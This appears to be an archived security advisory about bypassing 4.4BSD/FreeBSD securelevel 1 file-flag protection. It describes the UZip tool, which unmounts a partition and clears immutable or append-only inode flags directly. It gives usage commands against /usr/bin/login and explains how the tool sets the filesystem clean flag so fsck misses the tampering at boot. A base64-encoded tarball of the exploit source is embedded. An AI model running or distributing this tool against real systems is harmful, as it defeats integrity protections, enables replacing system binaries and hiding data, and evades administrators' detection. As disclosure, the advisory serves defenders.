COMMAND

    BSD-fileflags

SYSTEMS AFFECTED

    BSDish (FreeBSD tested)

PROBLEM

    'Stealth' found following.  'The design and implementation of  the
    4.4 BSD operating system' page 263:

        "... Security levels are defined as follows:
        -1. [...]

         0. [...]

         1. Secure   mode:  The   superuser-settable  immutable    and
            appned-only flags cannot be cleared; [...]

         2. [...]

        "

    That's not  true.   You can  do it  either with  fsdb or  with the
    appended exploitcode.   Below you'll  find the  code.   The README
    describes  exactly  why  you  can  erase  these  flags in level 1.
    It works at least  with FreeBSD (3.1).   This program can be  used
    to do  something   bad/cause errors/crashing  systems.   'Stealth"
    published recently an ext2-fs exploit for linux 2.0.x kernels that
    allowed you to hide some data  in files.  In short 'Here's  da UFS
    version'.  See README in archive for more valuable info.

    4.4  BSD  introduced  securelevels  and  file-flags to make the OS
    much more secure.  You can set special flags on files, 'schg'  for
    example, which will  prevent an attacker  from deleting/modifieing
    this file.   (NOTE that filefalgs  are not the  same as filemodes;
    you also have to have  the permissions to modify the  file ofcoze,
    regardless of the fileflags).   This ofcoze will only work  if you
    set the securelevel > 0:

        [stealth@core]# sysctl -w kern.securelevel=1
        kern.securelevel: -1 -> 1

    There are 4 securelevels:

        o -1: permanently insecure level. Fileflags are useless.
        o  0: from the secure-point the same as level 0
        o  1: interesting. Fileflags works now. So if you do

        [stealth@core]# chflags schg /usr/bin/login

        you won't  be able  to modify  this file.   As you  might  can
        imagine this is very powerfull.  To delete /usr/bin/login  you
        have to  boot in  single-user mode  and then  doing your work.
        Attackers don't have access to  this mode, so it's hard.   You
        are also disallowed to:

           + writing to /dev/mem and /dev/kmem
           + loading kernel-modules
           + writing directly to mounted disks
           + tracing  init  and  forcing  it to draw back  securelevel
             (init is the only process who can do it)
           + playing with /proc

        Whoa!   All the  kewl things  that can  be done with computers
        are forbidden!  But even then: We will break it!  Read on...

        o  2: Heavy  secure mode.   You can  do really  nothing,  even
              writing to unmounted disks.

    If you have  read the above  lines properly, you  propably noticed
    that in level  1 you are  not allowed to  write to MOUNTED  disks.
    Hah!  Thats it!  We'll  unmount the disks and clean the  flags via
    direct file-access.  Thats easy and good.  I hear you screm: 'Hey,
    I  can't  unmount  the  root-filesystem!'   Right.   But  on  most
    BSD-systems  you  will  have  a  very  small  amount of space on /
    directly,  instead  you  have  an  own partition for /usr,/var and
    propably /etc.   The BSD-distri  even forces  you to  do so. Since
    login resides in /usr/bin you will be able to free login from  its
    flags.  So a new fucntion is born:

        o ufs_clean_flags(const char *filename, const char *mp, const char *fs)

    where 'mp' is the mountpoint  where 'fs' is mounted on.   Remember
    that  the  device  (fs)  is  one  of  /dev/rfd0,  /dev/rda0s1  (my
    zip-drive) and so on, so you have  somewhere a 'r' in it.  If  you
    simply   use   /dev/fd0   instead   you   will   get  BUSY-errors.
    ufs_clean_flags() will stat() the  requested file - obtaining  the
    inodenumber.  It  then unmount's the  mountpoint and modifies  the
    fileflag that is part  of the inode to  be 0.  It  writes back the
    result   and   re-mounts   the   device   back   to    mountpoint.
    ufs_cleanflags() works only  in securelevel 1!   Say, for  example
    you want to clean  /usr/bin/login from the IMMUTABLE  flag (schg),
    so you  can replace  it.   Since almost  all BSD-systems  have own
    partition for /usr, you type

        # uzip -F /dev/rwd0s1f -M /usr -c /usr/bin/login

    ATTENTION: UZip  directly access  the filesystem,  so you  may can
               fuck up your whole system and loose ALL data!!! If  you
               want  simply  play  around  with  this  piece,  please,
               please, please use a floppy-disk!

    It  is  possible  that  you  cant  unmount  /usr  since someone is
    executing a program there, so it's up to you to either:

        o unmount it by hand via '-f' and remount it, or
        o set  FORCE_OR_NOT in  ufs.c to  1. this  will have  the same
          result,  but  will  propably   cause  some  errors  in   the
          filesystem.  However, it works  if you do so, it  was tested
          with /var/log/messages.

    UZip 1.1  also trys  to restore  the access  and modification time
    (E-Zip doesn't  - see  original README  for more  info).  Well, if
    someone runs runs  fsck over the  partition, he will  see what you
    have done.  It is  AFAIK not possible on (non-swap)  partitions to
    be  undetectable  with  such  things.   This  is  the  nature   of
    FS-modifieng tools.  NOTE that  you produce  some inconsistency in
    the current filesystem  if you run  UZip!  However,  UZip is smart
    enough  to  set  the  CLEAN-flag  in  the  current filesystem thus
    avoiding detection  at bootup  by fsck.   Smart sysops  should run
    fsck manually.

    Install?  There's not  much to do.   You need the sources  of fsck
    installed, the best is  in /usr/src/sbin/fsck (if not  there, edit
    the makefile)  since we  link U-Zip  against fsck-library.   Bugs?
    Sometimes, you will loose your  data in the corrupted file.   It's
    strongly recommented  to use  executable/binary files  for storing
    data.  Please read ext2-whitepaper if you want to know why.

    You  will  run  in  trouble  if  you  try  to  umount /usr without
    'preparing' the system for  it. To do this  you also have to  link
    UZip statically b/c libc  is in /usr.   This also means the  other
    programs as syslogd  etc.  Some  of them (getty)  will die without
    explicitly kill them.  Althought hard, it's not impossible and  on
    test  system   'stealth'  was   able  to   remove  an    immutable
    /usr/bin/login _without_  booting into  single user  (why the hell
    'user' isn't it for root?) mode.  Regardless whats written in  the
    README, you have to define FORCE_OR_NOT to MNT_FORCE (not 1) if it
    should be done the 'umount -f' way, sorry.

    Code follows:

    ---
    Content-Type: application/octet-stream; name="uzip.tgz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="uzip.tgz"
    Content-MD5: tl+YXM3KXQVvOJUc59rOmg==

    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
